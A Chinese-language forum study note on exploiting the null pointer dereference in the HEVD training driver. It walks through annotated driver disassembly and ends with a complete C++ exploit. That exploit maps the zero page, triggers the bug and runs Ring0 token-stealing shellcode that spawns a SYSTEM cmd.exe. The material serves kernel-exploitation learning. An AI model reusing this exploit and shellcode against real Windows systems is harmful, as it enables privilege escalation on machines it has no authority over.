-
-
[原创]]HEVD学习笔记之空指针引用
-
2021-11-10 10:05 15758
-
HEVD的介绍与实验环境请看:HEVD学习笔记之概述
一.漏洞原理
申请内存使用完以后,程序会对该内存进行释放并将指针清空,如果此时在对这个指针进行使用,就很有可能发送错误。比如下面的程序:
#include <windows.h> #include <cstdio> typedef void(* pFuncAddr)(); void test() { printf("test\n"); } int main() { PDWORD func = (PDWORD)malloc(4); *func = (DWORD)test; ((pFuncAddr)*func)(); free(func); func = NULL; ((pFuncAddr)*func)(); return 0; }
在释放掉func的内存并将其清空以后再次对它进行调用程序就会发送错误
二.漏洞分析
该漏洞在函数地址表中的第11个,也就是说要触发该漏洞,IOCTL要等于0x222003 + 10 * 4。
PAGE:00444213 loc_444213: ; CODE XREF: DispatchIoCtrl+34↑j PAGE:00444213 ; DATA XREF: PAGE:Func_Table↓o PAGE:00444213 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236459 PAGE:00444219 push offset aHevdIoctlNullP ; "****** HEVD_IOCTL_NULL_POINTER_DEREFERE"... PAGE:0044421E push 3 ; Level PAGE:00444220 push 4Dh ; ComponentId PAGE:00444222 call esi ; DbgPrintEx PAGE:00444224 add esp, 0Ch PAGE:00444227 push ebx ; 将CurrentStackLocation指针入栈 PAGE:00444228 push edi ; 将IRP的指针入栈 PAGE:00444229 call NullPointerDereferenceIoctlHandler PAGE:0044422E push offset aHevdIoctlNullP ; "****** HEVD_IOCTL_NULL_POINTER_DEREFERE"... PAGE:00444233 jmp loc_4440BF
此处将IRP和CurrentStackLocation入栈以后就调用了NullPointerDereferenceIoctrlHandler函数,继续跟进这个函数。
PAGE:00445AAA NullPointerDereferenceIoctlHandler proc near PAGE:00445AAA ; CODE XREF: DispatchIoCtrl+1C5↑p PAGE:00445AAA PAGE:00445AAA arg_4 = dword ptr 0Ch PAGE:00445AAA PAGE:00445AAA push ebp PAGE:00445AAB mov ebp, esp PAGE:00445AAD mov eax, [ebp+arg_4] PAGE:00445AB0 mov ecx, STATUS_UNSUCCESSFUL PAGE:00445AB5 mov eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer] PAGE:00445AB8 test eax, eax PAGE:00445ABA jz short loc_445AC4 PAGE:00445ABC push eax ; void * PAGE:00445ABD call TriggerNullPointerDerenference PAGE:00445AC2 mov ecx, eax PAGE:00445AC4 PAGE:00445AC4 loc_445AC4: ; CODE XREF: NullPointerDereferenceIoctlHandler+10↑j PAGE:00445AC4 mov eax, ecx PAGE:00445AC6 pop ebp PAGE:00445AC7 retn 8 PAGE:00445AC7 NullPointerDereferenceIoctlHandler endp
该函数将输入缓冲区指针入栈以后调用TriggerNullPointerDerenference。
PAGE:00445ADE ; int __stdcall TriggerNullPointerDerenference(void *) PAGE:00445ADE TriggerNullPointerDerenference proc near PAGE:00445ADE ; CODE XREF: NullPointerDereferenceIoctlHandler+13↑p PAGE:00445ADE PAGE:00445ADE var_1C = dword ptr -1Ch PAGE:00445ADE ms_exc = CPPEH_RECORD ptr -18h PAGE:00445ADE arg_InputBuffer = dword ptr 8 PAGE:00445ADE PAGE:00445ADE push 0Ch PAGE:00445AE0 push offset stru_4024C0 PAGE:00445AE5 call __SEH_prolog4 PAGE:00445AEA xor ebx, ebx ; ebx清0 PAGE:00445AEC mov [ebp+ms_exc.registration.TryLevel], ebx PAGE:00445AEF push 1 ; Alignment PAGE:00445AF1 push 8 ; Length PAGE:00445AF3 push [ebp+arg_InputBuffer] ; Address PAGE:00445AF6 call ds:ProbeForRead PAGE:00445AFC push 'kcaH' ; Tag PAGE:00445B01 push 8 ; NumberOfBytes PAGE:00445B03 push ebx ; PoolType PAGE:00445B04 call ds:ExAllocatePoolWithTag PAGE:00445B0A mov edi, eax ; 将申请到的内存地址赋给edi PAGE:00445B0C test edi, edi ; 内存分配是否成功 PAGE:00445B0E jnz short loc_445B33 ; 成功则跳转 PAGE:00445B10 push offset aUnableToAlloca_1 ; "[-] Unable to allocate Pool chunk\n" PAGE:00445B15 push 3 ; Level PAGE:00445B17 push 4Dh ; ComponentId PAGE:00445B19 call ds:DbgPrintEx PAGE:00445B1F add esp, 0Ch PAGE:00445B22 mov dword ptr [ebp-4], 0FFFFFFFEh PAGE:00445B29 mov eax, STATUS_NO_MEMORY PAGE:00445B2E jmp loc_445C56
在该函数中会申请0x8大小,tag为"Hack"的内存,将其地址赋给edi。
PAGE:00445B75 mov eax, [ebp+arg_InputBuffer] ; 将输入缓冲区指针赋给eax PAGE:00445B78 mov esi, [eax] ; 将输入缓冲区前4字节的内容赋给esi PAGE:00445B7A push esi PAGE:00445B7B push offset aUservalue0xP ; "[+] UserValue: 0x%p\n" PAGE:00445B80 push 3 ; Level PAGE:00445B82 push 4Dh ; ComponentId PAGE:00445B84 call ds:DbgPrintEx PAGE:00445B8A push edi PAGE:00445B8B push offset aNullpointerder ; "[+] NullPointerDereference: 0x%p\n" PAGE:00445B90 push 3 ; Level PAGE:00445B92 push 4Dh ; ComponentId PAGE:00445B94 call ds:DbgPrintEx PAGE:00445B9A add esp, 20h PAGE:00445B9D mov eax, 0BAD0B0B0h PAGE:00445BA2 cmp esi, eax ; 比较esi是否等于eax PAGE:00445BA4 jnz short loc_445BD5
如果内存申请成功,函数就会将输入缓冲区中的前4字节取出,判断是否为0x0BAD0B0B0,如果不是是则继续向下执行,对申请到的内存进行赋值
PAGE:00445BA6 mov [edi], eax ; 将申请的内存的前4字节赋值为输入缓冲区指针 PAGE:00445BA8 mov dword ptr [edi+4], offset NullPointerDerenferenceObjectCallback ; 申请到的内存的后4字节赋值为函数 PAGE:00445BAF push dword ptr [edi]
此时edi偏移为4的地址保存的函数内容如下,可以看到就是一个简单的输出函数
PAGE:00445ACA NullPointerDerenferenceObjectCallback proc near PAGE:00445ACA ; DATA XREF: TriggerNullPointerDerenference+CA↓o PAGE:00445ACA push offset aNullPointerDer ; "[+] Null Pointer Dereference Object Cal"... PAGE:00445ACF push 3 ; Level PAGE:00445AD1 push 4Dh ; ComponentId PAGE:00445AD3 call ds:DbgPrintEx PAGE:00445AD9 add esp, 0Ch PAGE:00445ADC retn PAGE:00445ADC NullPointerDerenferenceObjectCallback endp
如果不是则会跳转到loc_445BD5处,此处将会把申请的内存释放掉并将edi赋值为ebx,由于ebx在上面清0了,所以此处会将edi清0
PAGE:00445BD5 loc_445BD5: ; CODE XREF: TriggerNullPointerDerenference+C6↑j PAGE:00445BD5 push offset aFreeingNullpoi ; "[+] Freeing NullPointerDereference Obje"... PAGE:00445BDA push 3 ; Level PAGE:00445BDC push 4Dh ; ComponentId PAGE:00445BDE mov esi, ds:DbgPrintEx PAGE:00445BE4 call esi ; DbgPrintEx PAGE:00445BE6 push offset aKcah ; "'kcaH'" PAGE:00445BEB push offset aPoolTagS ; "[+] Pool Tag: %s\n" PAGE:00445BF0 push 3 ; Level PAGE:00445BF2 push 4Dh ; ComponentId PAGE:00445BF4 call esi ; DbgPrintEx PAGE:00445BF6 push edi PAGE:00445BF7 push offset aPoolChunk0xP ; "[+] Pool Chunk: 0x%p\n" PAGE:00445BFC push 3 ; Level PAGE:00445BFE push 4Dh ; ComponentId PAGE:00445C00 call esi ; DbgPrintEx PAGE:00445C02 add esp, 2Ch PAGE:00445C05 push 'kcaH' ; Tag PAGE:00445C0A push edi ; P PAGE:00445C0B call ds:ExFreePoolWithTag PAGE:00445C11 mov edi, ebx ; 将edi赋值为0
无论走上面的哪个分支,接下来都会走loc_445C13处的代码,此处的代码会对申请的内存的后4字节的内容取出,作为函数地址进行调用
PAGE:00445C13 loc_445C13: ; CODE XREF: TriggerNullPointerDerenference+F5↑j PAGE:00445C13 push offset aTriggeringNull ; "[+] Triggering Null Pointer Dereference"... PAGE:00445C18 push 3 ; Level PAGE:00445C1A push 4Dh ; ComponentId PAGE:00445C1C call esi ; DbgPrintEx PAGE:00445C1E add esp, 0Ch PAGE:00445C21 call dword ptr [edi+4] ; 调用申请到的内存的后4字节保存的地址 PAGE:00445C24 jmp short loc_445C4D
由上可以看到,通过控制输入缓冲区的内容,可以实现在edi等于0的时候,调用edi+4,也就是地址4中保存的函数地址,那如果只是地址4中保存的是我们指定的ShellCode的地址,此时函数就会调用ShellCode。
三.漏洞利用
由上可知,如果输入缓冲区指针保存的内容为0x0BAD0B0B0的时候,程序就会正常调用分配的函数
可如果保存的内容不是0x0BAD0B0B0,程序会将申请的内存释放,并把edi清0,此时执行call [edi + 4]就会执行地址为4中保存的函数指针。如果将它赋值为ShellCode函数地址就可以实现攻击,具体的exp如下
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <cstdio> #include <cstdlib> #include <windows.h> #include "ntapi.h" #pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver" #define INPUT_BUFFER_LENGTH 4 #define PAGE_SIZE 0x1000 void ShowError(PCHAR msg, DWORD ErrorCode); VOID Ring0ShellCode(); BOOL g_bIsExecute = FALSE; int main() { NTSTATUS status = STATUS_SUCCESS; HANDLE hDevice = NULL; DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONST DWORD dwIoCtl = 0x222003 + 10 * 4; PVOID ShellCodeAddress = NULL; // 获得0地址的内存 ShellCodeAddress = (PVOID)sizeof(ULONG); status = NtAllocateVirtualMemory(NtCurrentProcess(), &ShellCodeAddress, 0, &ShellCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(status)) { ShowError("NtAllocateVirtualMemory", status); goto exit; } // 将地址为4的内存赋值为ShellCode函数地址 *(PDWORD)((DWORD)ShellCodeAddress + 4) = (DWORD)Ring0ShellCode; // 打开驱动设备 hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { ShowError("CreateFile", GetLastError()); goto exit; } DWORD dwInput = 0; dwInput = 0x0BAD0B0B0; // 与驱动设备进行交互,正常情况下调用函数 if (!DeviceIoControl(hDevice, dwIoCtl, &dwInput, INPUT_BUFFER_LENGTH, NULL, 0, &dwReturnLength, NULL)) { ShowError("DeviceIoControl", GetLastError()); goto exit; } dwInput = 0; // 与驱动设备进行交互,触发漏洞 if (!DeviceIoControl(hDevice, dwIoCtl, &dwInput, INPUT_BUFFER_LENGTH, NULL, 0, &dwReturnLength, NULL)) { ShowError("DeviceIoControl", GetLastError()); goto exit; } if (g_bIsExecute) { printf("Ring0 代码执行完成\n"); si.cb = sizeof(si); if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("CreateProcess Error\n"); goto exit; } } exit: if (hDevice) NtClose(hDevice); system("pause"); return 0; } void ShowError(PCHAR msg, DWORD ErrorCode) { printf("%s Error 0x%X\n", msg, ErrorCode); } VOID Ring0ShellCode() { // 关闭页保护 __asm { cli mov eax, cr0 and eax, ~0x10000 mov cr0, eax } __asm { // 取当前线程 mov eax, fs:[0x124] // 取线程对应的EPROCESS mov esi, [eax + 0x150] mov eax, esi searchWin7: mov eax, [eax + 0xB8] sub eax, 0x0B8 mov edx, [eax + 0xB4] cmp edx, 0x4 jne searchWin7 mov eax, [eax + 0xF8] mov [esi + 0xF8], eax } // 开起页保护 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti } g_bIsExecute = TRUE; }
可以看到程序最终提权成功
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法